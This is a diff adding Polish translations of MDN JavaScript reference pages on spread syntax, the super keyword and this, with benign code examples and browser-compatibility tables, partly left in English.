+<h4 id="Apply_for_new">Apply for new</h4>
+
+<p>When calling a constructor with <code>new</code>, it's not possible to <strong>directly</strong> use an array and <code>apply</code> (<code>apply</code> does a <code>[[Call]]</code> and not a <code>[[Construct]]</code>). However, an array can be easily used with <code>new</code> thanks to spread syntax:</p>
+
+<pre class="brush: js">var dateFields = [1970, 0, 1]; // 1 Jan 1970
+var d = new Date(...dateFields);
+</pre>
+
+<p>To use new with an array of parameters without spread syntax, you would have to do it <strong>indirectly</strong> through partial application:</p>
+
+<pre class="brush: js">function applyAndNew(constructor, args) {
+   function partial () {
+    return constructor.apply(this, args);
+   };
+   if (typeof constructor.prototype === "object") {
+    partial.prototype = Object.create(constructor.prototype);
+  }
+  return partial;
+}
+
+
+function myConstructor () {
+   console.log("arguments.length: " + arguments.length);
+   console.log(arguments);
+   this.prop1="val1";
+   this.prop2="val2";
+};
+
+var myArguments = ["hi", "how", "are", "you", "mr", null];
+var myConstructorWithArguments = applyAndNew(myConstructor, myArguments);
+
+console.log(new myConstructorWithArguments);
+// (internal log of myConstructor): arguments.length: 6
+// (internal log of myConstructor): ["hi", "how", "are", "you", "mr", null]
+// (log of "new myConstructorWithArguments"): {prop1: "val1", prop2: "val2"}</pre>
+
+<h3 id="Rozwinięcie_w_literałach_tablicowych">Rozwinięcie w literałach tablicowych</h3>
+
+<h4 id="Potężniejszy_literał_tablicowy">Potężniejszy literał tablicowy</h4>
+
+<p>Bez składni rozwinięcia, aby utworzyć nową tablicę, używając tablicy już istniejącej jako jej części, składnia literału tablicowego nie jest już wystarczająca i musimy użyć kodu imperatywnego, używając kombinacji <code>push</code>, <code>splice</code>, <code>concat</code> itd. Z użyciem składni rozwinięcia staje się to o wiele prostsze i bardziej zwięzłe:</p>
+
+<pre class="brush: js">var czesci = ['kotek', 'na', 'plotek'];
+var wierszyk = ['wlazl', ...czesci, 'i', 'mruga'];
+// ["wlazl", "kotek", "na", "plotek", "i", "mruga"]
+</pre>
+
+<p>Tak jak dla list argumentów w wywołaniach funkcji, operator <code>...</code> może być użyty wielokrotnie i w każdym miejscu literału tablicowego.</p>
+
+<h4 id="Kopia_tablicy">Kopia tablicy</h4>
+
+<pre class="brush: js">var tab = [1, 2, 3];
+var tab2 = [...tab]; // jak tab.slice()
+tab2.push(4);
+
+// tab2 staje się [1, 2, 3, 4]
+// tab pozostaje niezmieniona
+</pre>
+
+<p><strong>Uwaga:</strong> Składnia rozwinięcia skutecznie sięga tylko na jeden poziom wgłąb przy kopiowaniu tablicy. W związku z tym takie podejście może być nieodpowiednie przy kopiowaniu tablic wielowymiarowych, jak pokazuje poniższy przykład (tak samo jest z {{jsxref("Object.assign()")}}  i kładnią rozwinięcia).</p>
+
+<pre class="brush: js">var a = [[1], [2], [3]];
+var b = [...a];
+b.shift().shift(); // 1
+// Tablica a została zmodyfikowana: [[], [2], [3]]
+</pre>
+
+<h4 id="Lepszy_sposób_na_łączenie_tablic">Lepszy sposób na łączenie tablic</h4>
+
+<p>{{jsxref("Array.concat")}} jest często używane do dołączania elementów jednej tablicy na koniec drugiej. Bez składni rozwinięcia wygląda to tak:</p>
+
+<pre class="brush: js">var tab1 = [0, 1, 2];
+var tab2 = [3, 4, 5];
+// Dołącz wszystkie elementy tab2 na koniec tab1
+tab1 = tab1.concat(tab2);</pre>
+
+<p>Przy użyciu składni rozwinięcia wygląda to natomiast tak:</p>
+
+<pre class="brush: js">var tab1 = [0, 1, 2];
+var tab2 = [3, 4, 5];
+tab1 = [...tab1, ...tab2];
+</pre>
+
+<p>{{jsxref("Array.unshift")}} jest często używane do dołączania elementów jednej tablicy na początek drugiej. Bez składni rozwinięcia wygląda to w następujący sposób:</p>
+
+<pre class="brush: js">var tab1 = [0, 1, 2];
+var tab2 = [3, 4, 5];
+// Dodaj wszystkie elementy tab2 na początek tab1
+Array.prototype.unshift.apply(tab1, tab2) // tab1 staje się [3, 4, 5, 0, 1, 2]</pre>
+
+<p>Przy użyciu składni rozwinięcia otrzymuje to następującą postać [jednak zauważ, że w tym przypadku utworzona zostaje nowa tablica <code>tab1</code> – w odróżnieniu od {{jsxref("Array.unshift")}}, <code>tab1</code> nie jest automatycznie modyfikowana):</p>
+
+<pre class="brush: js">var tab1 = [0, 1, 2];
+var tab2 = [3, 4, 5];
+tab1 = [...tab2, ...tab1]; // tab1 staje się [3, 4, 5, 0, 1, 2]
+</pre>
+
+<h3 id="Rozwinięcie_w_literałach_tablicowych_2">Rozwinięcie w literałach tablicowych</h3>
+
+<p>The <a href="https://github.com/tc39/proposal-object-rest-spread">Rest/Spread Properties for ECMAScript</a> proposal (stage 4) adds spread properties to <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object literals</a>. It copies own enumerable properties from a provided object onto a new object.</p>
+
+<p>Shallow-cloning (excluding prototype) or merging of objects is now possible using a shorter syntax than {{jsxref("Object.assign()")}}.</p>
+
+<pre class="brush: js">var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+
+var clonedObj = { ...obj1 };
+// Object { foo: "bar", x: 42 }
+
+var mergedObj = { ...obj1, ...obj2 };
+// Object { foo: "baz", x: 42, y: 13 }</pre>
+
+<p>Note that {{jsxref("Object.assign()")}} triggers <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setters</a> whereas spread syntax doesn't.</p>
+
+<p>Note that you cannot replace nor mimic the {{jsxref("Object.assign()")}} function:</p>
+
+<pre class="brush: js">var obj1 = { foo: 'bar', x: 42 };
+var obj2 = { foo: 'baz', y: 13 };
+const merge = ( ...objects ) =&gt; ( { ...objects } );
+
+var mergedObj = merge ( obj1, obj2);
+// Object { 0: { foo: 'bar', x: 42 }, 1: { foo: 'baz', y: 13 } }
+
+var mergedObj = merge ( {}, obj1, obj2);
+// Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }</pre>
+
+<p>In the above example, the spread syntax does not work as one might expect: it spreads an <em>array</em> of arguments into the object literal, due to the rest parameter.</p>
+
+<h3 id="Tylko_dla_obiektów_iterowalnych">Tylko dla obiektów iterowalnych</h3>
+
+<p>Składnia rozwinięcia może być użyta jedynie dla obiektów<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator"> iterowalnych</a>:</p>
+
+<pre class="brush: js">var obiekt = {'klucz1': 'wartosc1'};
+var tablica = [...obiekt]; // TypeError: obiekt is not iterable
+</pre>
+
+<h3 id="Rozwinięcie_z_wieloma_wartościami">Rozwinięcie z wieloma wartościami</h3>
+
+<p>Kiedy używaż składni rozwinięcia do wywołań funkcji, musisz być świadomy możliwości przekroczenia limitu liczby argumentów w silniku JavaScript. Po więcej szczegółów zajrzyj do <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Function/apply" title="The apply() method calls a function with a given this value, and arguments provided as an array (or an array-like object)."><code>apply()</code>.</a></p>
+
+<h2 id="Składnia_reszty_(parametry)">Składnia reszty (parametry)</h2>
+
+<p>Składnia reszty ang. <em>rest syntax</em>) wygląda dokładnie jak składnia rozwinięcia, ale jest używana do destrukturyzacji tablic i obiektów. W pewnym sensie składnia reszty jest przeciwieństwem składni rozpakowania: rozwinięcie „rozpakowuje” elementy tablicy, natomiast składnia reszty „zbiera” wiele elementów i „pakuje” je do pojedynczego elementu. Zobacz: <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">rest parameters.</a></p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-array-initializer')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-array-initializer">Array Initializer</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-argument-lists">Argument Lists</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2018', '#sec-object-initializer')}}</td>
+ <td>{{Spec2('ES2018')}}</td>
+ <td>Defined in <a href="http://www.ecma-international.org/ecma-262/9.0/#sec-object-initializer">Object Initializer</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array-initializer')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>No changes.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object-initializer')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>No changes.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.operators.spread")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">Rest parameters</a> (również ‘<code>...</code>’)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">fn.apply</a> (również ‘<code>...</code>’)</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/spread_operator/index.html b/files/pl/web/javascript/referencje/operatory/spread_operator/index.html
new file mode 100644
index 0000000000..1479eb441c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/spread_operator/index.html
@@ -0,0 +1,229 @@
+---
+title: Spread syntax
+slug: Web/JavaScript/Referencje/Operatory/Spread_operator
+tags:
+ - ECMAScript 2015
+ - Iterator
+ - JavaScript
+ - Operator Rozwinięcia
+translation_of: Web/JavaScript/Reference/Operators/Spread_syntax
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Operator spread umożliwia rozwinięcie wyrażenia. <strong>Składnia rozwinięcia</strong> pozwala na rozwinięcie wyrażenia w miejscach, w których potrzebne jest wiele argumentów (do wywołań funkcji), wiele elementów (do literałów tablicowych) lub wiele zmiennych ().</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<p>Do wywołań funkcji:</p>
+
+<pre class="brush: js">mojaFunkcja(...iterowalnyObiekt);
+</pre>
+
+<p>Do literałów tablicowych:</p>
+
+<pre class="brush: js">[...iterowalnyObiekt, 4, 5, 6]</pre>
+
+<p> </p>
+
+<p>Do przypisań destrukturyzujących:</p>
+
+<pre class="brush: js">var [glowa, ...ogon] = [1, 2, 3, 4]</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Lepsze_zastosowanie">Lepsze zastosowanie</h3>
+
+<p><strong>Przykład:</strong> powszechne jest użycie {{jsxref( "Function.prototype.apply")}} w przypadkach, gdy chcesz użyć tablic jako argumentów funkcji.</p>
+
+<pre class="brush: js">function mojaFunkcja(x, y, z) { }
+var args = [0, 1, 2];
+mojaFunkcja.apply(null, args);</pre>
+
+<p>Ze składnią rozwinięcia (spread) ES2015 powyższy kod można zapisać jako:</p>
+
+<pre class="brush: js">function mojaFunkcja(x, y, z) { }
+var args = [0, 1, 2];
+mojaFunkcja(...args);</pre>
+
+<p>Dowolny argument w liście argumentów może użyć składni rozwinięcia i może być użyty wiele razy.</p>
+
+<pre class="brush: js">function myFunction(v, w, x, y, z) { }
+var args = [0, 1];
+myFunction(-1, ...args, 2, ...[3]);</pre>
+
+<h3 id="Potężniejszy_literał_tablicowy">Potężniejszy literał tablicowy</h3>
+
+<p><strong>Przykład:</strong> Jeżeli masz tablicę i chcesz utworzyć nową tablicę z tą tablicą jako jej częścią, składnia literału tablicowego nie jest już wystarczająca i należy cofnąć się do programowania imperatywnego, użyć kombinacji <code>push</code>, <code>splice</code>, <code>concat</code>, itp. Z użyciem składni rozwinięcia wygląda to dużo prościej:</p>
+
+<pre class="brush: js">var czesci = ['ramiona', 'kolana'];
+var rymowanka = ['glowa', ...czesci, 'i', 'palce']; // <span class="objectBox objectBox-array"><a class="objectLink "><span class="arrayLeftBracket">[</span></a><span class="objectBox objectBox-string">"glowa"</span><span class="arrayComma">, </span><span class="objectBox objectBox-string">"</span></span>ramiona<span class="objectBox objectBox-array"><span class="objectBox objectBox-string">"</span><span class="arrayComma">, </span><span class="objectBox objectBox-string">"kolana"</span><span class="arrayComma">, </span><span class="objectBox objectBox-string">"i"</span><span class="arrayComma">, </span><span class="objectBox objectBox-string">"palce"</span></span>]
+</pre>
+
+<p>Tak samo jak rozwinięcie może być użyte do list argumentów, <code>...</code> mogą być użyte wszędzie w literale tablicowym, także wiele razy.</p>
+
+<h3 id="Zastosowanie_z_new">Zastosowanie z new</h3>
+
+<p><strong>Przykład:</strong> W ES5 nie jest możliwa kompozycja <code>new</code> z <code>apply.</code> (W ES5, <code>apply</code> wykonuje <code>[[Call]]<font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">, a nie </span></font></code><code>[[Construct]].</code>) W ES2015 składnia rozwinięcia wygląda następująco:</p>
+
+<pre class="brush: js">var daty = czytajDaty(bazaDanych);
+var d = new Date(...daty);</pre>
+
+<h3 id="Kopiowanie_tablicy">Kopiowanie tablicy</h3>
+
+<pre class="brush: js">var tablica = [1,2,3];
+var tablica2 = [...tablica]; // jak tablica.slice()
+tablica2.push(4); // tablica2 staje się [1,2,3,4], tablica pozostaje niezmieniona
+
+</pre>
+
+<h3 id="Ulepszone_push">Ulepszone push</h3>
+
+<p><strong>Przykład:</strong> {{jsxref("Global_Objects/Array/push", "push")}} jest często używany, by dodać tablicę na koniec innej tablicy. W ES5 jest to często osiągane przez:</p>
+
+<pre class="brush: js">var tablica1 = [0, 1, 2];
+var tablica2 = [3, 4, 5];
+// Dodaj wszystkie elementy z tablica2 do tablica1
+Array.prototype.push.apply(tablica1, tablica2);</pre>
+
+<p>W ES2015 z rozwinięciem wygląda to następująco:</p>
+
+<pre class="brush: js">var tablica1 = [0, 1, 2];
+var tablica2 = [3, 4, 5];
+tablica1.push(...tablica2);</pre>
+
+<h3 id="Użycie_jedynie_dla_obiektów_iterowalnych">Użycie jedynie dla obiektów iterowalnych</h3>
+
+<pre class="brush: js">var obiekt = {"klucz1":"wartosc1"};
+function mojaFunkcja(x) {
+ /* ... */
+}
+// proba rozwinięcia nieiterowalnego elementu
+// spowoduje błąd
+mojaFunkcja(...obiekt);
+var args = [...obiekt];
+// TypeError: obiekt is not iterable</pre>
+
+<h2 id="Operator_reszty">Operator reszty</h2>
+
+<p>Operator reszty, który wygląda dokładnie jak składnia rozwinięcia (spread), jest używany do destrukturyzacji obiektów i tablic. W pewnym stopniu, elementy reszty są przeciwieństwem elementów rozwinięcia: rozwinięcie 'rozbija' tablicę na elementy, natomiast reszta zbiera wiele elementów i 'zwija' je w jeden element.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Stan</th>
+ <th scope="col">Komentasz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-array-initializer')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Zdefiniowany w kilku sekcjach specyfikacji: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-array-initializer">Array Initializer</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-argument-lists">Argument Lists</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array-initializer')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Funkcja</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Operacja rozwinięcia w literałach tablicowych</td>
+ <td>{{CompatChrome("46")}}</td>
+ <td>{{ CompatGeckoDesktop("16") }}</td>
+ <td>{{CompatIE("Edge")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td>Operacja rozwinięcia w wywołaniach funkcji</td>
+ <td>{{CompatChrome("46")}}</td>
+ <td>{{ CompatGeckoDesktop("27") }}</td>
+ <td>{{CompatIE("Edge")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td>Operacja rozwinięcia w destrukturyzacji</td>
+ <td>{{CompatChrome("49")}}</td>
+ <td>{{ CompatGeckoDesktop("34") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Funkcja</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Operacja rozwinięcia w literałach tablicowych</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome("46")}}</td>
+ <td>{{ CompatGeckoMobile("16") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ <td>{{CompatChrome("46")}}</td>
+ </tr>
+ <tr>
+ <td>Operacja rozwinięcia w wywołaniach funkcji</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome("46")}}</td>
+ <td>{{ CompatGeckoMobile("27") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ <td>{{CompatChrome("46")}}</td>
+ </tr>
+ <tr>
+ <td>Operacja rozwinięcia w destrukturyzacji</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatGeckoDesktop("34") }}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">Parametry reszty</a></li>
+ <li><a href="http://exploringjs.com/es6/ch_destructuring.html#sec_rest-operator">Operator reszty</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/super/index.html b/files/pl/web/javascript/referencje/operatory/super/index.html
new file mode 100644
index 0000000000..c217af33e9
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/super/index.html
@@ -0,0 +1,171 @@
+---
+title: super
+slug: Web/JavaScript/Referencje/Operatory/super
+translation_of: Web/JavaScript/Reference/Operators/super
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Słowo kluczowe <strong>super </strong>jest wykorzystywane do udostępniania i korzystania z funkcji klasy po której nasz obiekt dziedziczy.</p>
+
+<p>Wyrażenia <code>super.prop</code> i <code>super[expr]</code> są poprawne w każdej definicji metody zarówno w <a href="/pl/docs/Web/JavaScript/Reference/Classes">klasach</a> i <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Object_initializer">literałach obiektowych</a>.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate">super([arguments]); // wywołuje konstruktor klasy rodzica
+super.functionOnParent([arguments]);
+</pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p>W przypadku użycia w konstruktorze, słowo kluczowe <code>super</code> pojawia się samodzielnie i musi zostać użyte przed użyciem słowa kluczowego <code>this</code> . Słowo kluczowe <code>super</code>  można również wykorzystać do wywoływania funkcji które nasz obiekt odziedziczył po swoim rodzicu.</p>
+
+<h2 id="Przykład">Przykład</h2>
+
+<h3 id="Użycie_super_w_klasach">Użycie <code>super</code> w klasach</h3>
+
+<p>Poniższy snippet został pobrany z <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">próbki klasy</a> (live demo). W tym przykładzie, super() jest wywoływane w celu uniknięcia powielania tych części konstruktora, które są wspólne zarówno dla <code>Rectangle</code> (trójkąta) jak i <code>Square</code> (kwadratu).</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+ constructor(height, width) {
+ this.name = 'Rectangle';
+ this.height = height;
+ this.width = width;
+ }
+ sayName() {
+ console.log('Hi, I am a ', this.name + '.');
+ }
+ get area() {
+ return this.height * this.width;
+ }
+ set area(value) {
+ this._area = value;
+ }
+}
+
+class Square extends Rectangle {
+ constructor(length) {
+ this.height; // ReferenceError, super needs to be called first!
+
+ // Wywołanie konstruktora klasy nadrzędnej
+ // określenie szerokości i wysokości prostokąta
+ super(length, length);
+ // Uwaga: W pochodnych klasach, super() musi być wywołane wcześniej niż
+ // pierwsze użycie 'this'. W przeciwnym wypadku pojawi się błąd odniesienia.
+ this.name = 'Square';
+ }
+}</pre>
+
+<h3 id="Super-wywołanie_metod_statycznych">Super-wywołanie metod statycznych</h3>
+
+<p>Za pomocą <code>super</code> jesteś w stanie także wywołać metody statyczne.</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+ constructor() {}
+ static logNbSides() {
+ return 'I have 4 sides';
+ }
+}
+
+class Square extends Rectangle {
+ constructor() {}
+ static logDescription() {
+ return super.logNbSides() + ' which are all equal';
+ }
+}
+Square.logDescription(); // 'I have 4 sides which are all equal'
+</pre>
+
+<h3 id="Usuwanie_właściwości_z_super_wyrzuci_błąd">Usuwanie właściwości z super wyrzuci błąd</h3>
+
+<p>Nie możesz użyć <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operator_delete">operatora usuwania</a> oraz <code>super.prop</code> bądź <code>super[expr]</code> w celu usunięcia właściwości klasy rodzica ponieważ zostanie zwrócony błąd {{jsxref("ReferenceError")}}.</p>
+
+<pre class="brush: js notranslate">class Base {
+ constructor() {}
+ foo() {}
+}
+class Derived extends Base {
+ constructor() {}
+ delete() {
+ delete super.foo; // to jest niepoprawnie
+ }
+}
+
+new Derived().delete(); // ReferenceError: invalid delete involving 'super'. </pre>
+
+<h3 id="super.prop_nie_może_nadpisać_właściwości_typu_non-writable"><code>super.prop</code> nie może nadpisać właściwości typu non-writable </h3>
+
+<p>Definiując właściwości non-writable (niezapisywalne) np. {{jsxref("Object.defineProperty")}}, pamiętaj, że <code>super</code> nie może nadpisać takiej wartości.</p>
+
+<pre class="brush: js notranslate">class X {
+ constructor() {
+ Object.defineProperty(this, 'prop', {
+ configurable: true,
+ writable: false,
+ value: 1
+ });
+ }
+}
+
+class Y extends X {
+ constructor() {
+ super();
+ }
+ foo() {
+ super.prop = 2; // Nie można nadpisać wartości
+ }
+}
+
+var y = new Y();
+y.foo(); // TypeError: "prop" is read-only
+console.log(y.prop); // 1
+</pre>
+
+<h3 id="Używanie_super.prop_w_literałach_obiektowych">Używanie <code>super.prop</code> w literałach obiektowych</h3>
+
+<p><code>super</code> może być także wykorzystane <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Object_initializer">inicjalizatorze / literale obiektu</a>.</p>
+
+<p>W tym przykładzie dwa obiekty definiują swoją metodę. W drugim obiekcie, <code>super</code> wywołuje metodę obiektu pierwszego. To działa dzięki {{jsxref("Object.setPrototypeOf()")}} z czym jesteśmy w stanie ustawić prototyp obiektu <code>obj2</code> na <code>obj1</code>, tak aby <code>super</code><span> było w stanie znaleźć metodę </span><code>method1</code><span> </span>w obiekcie <code>obj1</code><span>. </span></p>
+
+<pre class="brush: js notranslate">var obj1 = {
+ method1() {
+ console.log('method 1');
+ }
+}
+
+var obj2 = {
+ method2() {
+ super.method1();
+ }
+}
+
+Object.setPrototypeOf(obj2, obj1);
+obj2.method2(); // wypisze "method 1"
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+
+
+<p>{{Compat("javascript.operators.super")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+ <li><a href="https://medium.com/beginners-guide-to-mobile-web-development/super-and-extends-in-javascript-es6-understanding-the-tough-parts-6120372d3420">Anurag Majumdar - Super &amp; Extends in JavaScript</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/this/index.html b/files/pl/web/javascript/referencje/operatory/this/index.html
new file mode 100644
index 0000000000..523e210cb6
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/this/index.html
@@ -0,0 +1,346 @@
+---
+title: this
+slug: Web/JavaScript/Referencje/Operatory/this
+translation_of: Web/JavaScript/Reference/Operators/this
+---
+<div>
+<div>{{jsSidebar("Operators")}}</div>
+</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>W JavaScript słówko kluczowe <code>this</code> zachowuje się nieco inaczej w porównaniu do innych języków programowania. Istnieje również kilka różnic między trybem <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">strict mode</a> oraz non-strict mode.</p>
+
+<p>W większości przypadków wartość <code>this</code> jest ustalana na podstawie tego, jak wywołana została dana funkcja. Wartość ta nie może być przypisana podczas wykonywania się funkcji i może być inna za każdym wywołaniem. ES5 wprowadziło metodę <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bind</a></code> dzięki której <a href="#The_bind_method">możemy przypisać wartość <code>this</code> w funkcji, niezależnie od tego jak została ona wywołana.</a></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">this</pre>
+
+<h2 id="Global_context">Global context</h2>
+
+<p>In the global execution context (outside of any function), <code>this</code> refers to the global object, whether in strict mode or not.</p>
+
+<pre class="brush:js">console.log(this.document === document); // true
+
+// In web browsers, the window object is also the global object:
+console.log(this === window); // true
+
+this.a = 37;
+console.log(window.a); // 37
+</pre>
+
+<h2 id="Function_context">Function context</h2>
+
+<p>Inside a function, the value of <code>this</code> depends on how the function is called.</p>
+
+<h3 id="Simple_call">Simple call</h3>
+
+<pre class="brush:js">function f1(){
+ return this;
+}
+
+f1() === window; // global object
+</pre>
+
+<p>In this case, the value of <code>this</code> is not set by the call. Since the code is not in strict mode, the value of <code>this</code> must always be an object so it defaults to the global object.</p>
+
+<pre class="brush:js">function f2(){
+ "use strict"; // see strict mode
+ return this;
+}
+
+f2() === undefined;
+</pre>
+
+<p>In strict mode, the value of <code>this</code> remains at whatever it's set to when entering the execution context. If it's not defined, it remains undefined. It can also be set to any value, such as <code>null</code> or <code>42</code> or <code>"I am not this"</code>.</p>
+
+<div class="note"><strong>Note:</strong> In the second example, <code>this</code> should be <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a>, because <code>f2</code> was called without providing any base (e.g. <code>window.f2()</code>). This feature wasn't implemented in some browsers when they first started to support <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="Strict mode">strict mode</a>. As a result, they incorrectly returned the <code>window</code> object.</div>
+
+<h3 id="As_an_object_method">As an object method</h3>
+
+<p>When a function is called as a method of an object, its <code>this</code> is set to the object the method is called on.</p>
+
+<p>In the following example, when <code>o.f()</code> is invoked, inside the function <code>this</code> is bound to the <code>o</code> object.</p>
+
+<pre class="brush:js">var o = {
+ prop: 37,
+ f: function() {
+ return this.prop;
+ }
+};
+
+console.log(o.f()); // logs 37
+</pre>
+
+<p>Note that this behavior is not at all affected by how or where the function was defined. In the previous example, we defined the function inline as the <code>f</code> member during the definition of <code>o</code>. However, we could have just as easily defined the function first and later attached it to <code>o.f</code>. Doing so results in the same behavior:</p>
+
+<pre class="brush:js">var o = {prop: 37};
+
+function independent() {
+ return this.prop;
+}
+
+o.f = independent;
+
+console.log(o.f()); // logs 37
+</pre>
+
+<p>This demonstrates that it matters only that the function was invoked from the <code>f</code> member of <code>o</code>.</p>
+
+<p>Similarly, the <code>this</code> binding is only affected by the most immediate member reference. In the following example, when we invoke the function, we call it as a method <code>g</code> of the object <code>o.b</code>. This time during execution, <code>this</code> inside the function will refer to <code>o.b</code>. The fact that the object is itself a member of <code>o</code> has no consequence; the most immediate reference is all that matters.</p>
+
+<pre class="brush:js">o.b = {g: independent, prop: 42};
+console.log(o.b.g()); // logs 42
+</pre>
+
+<h4 id="this_on_the_objects_prototype_chain"><code>this</code> on the object's prototype chain</h4>
+
+<p>The same notion holds true for methods defined somewhere on the object's prototype chain. If the method is on an object's prototype chain, <code>this</code> refers to the object the method was called on, as if the method was on the object.</p>
+
+<pre class="brush:js">var o = {f:function(){ return this.a + this.b; }};
+var p = Object.create(o);
+p.a = 1;
+p.b = 4;
+
+console.log(p.f()); // 5
+</pre>
+
+<p>In this example, the object assigned to the variable <code>p</code> doesn't have its own <code>f</code> property, it inherits it from its prototype. But it doesn't matter that the lookup for <code>f</code> eventually finds a member with that name on <code>o</code>; the lookup began as a reference to <code>p.f</code>, so <code>this</code> inside the function takes the value of the object referred to as <code>p</code>. That is, since <code>f</code> is called as a method of <code>p</code>, its <code>this</code> refers to <code>p</code>. This is an interesting feature of JavaScript's prototype inheritance.</p>
+
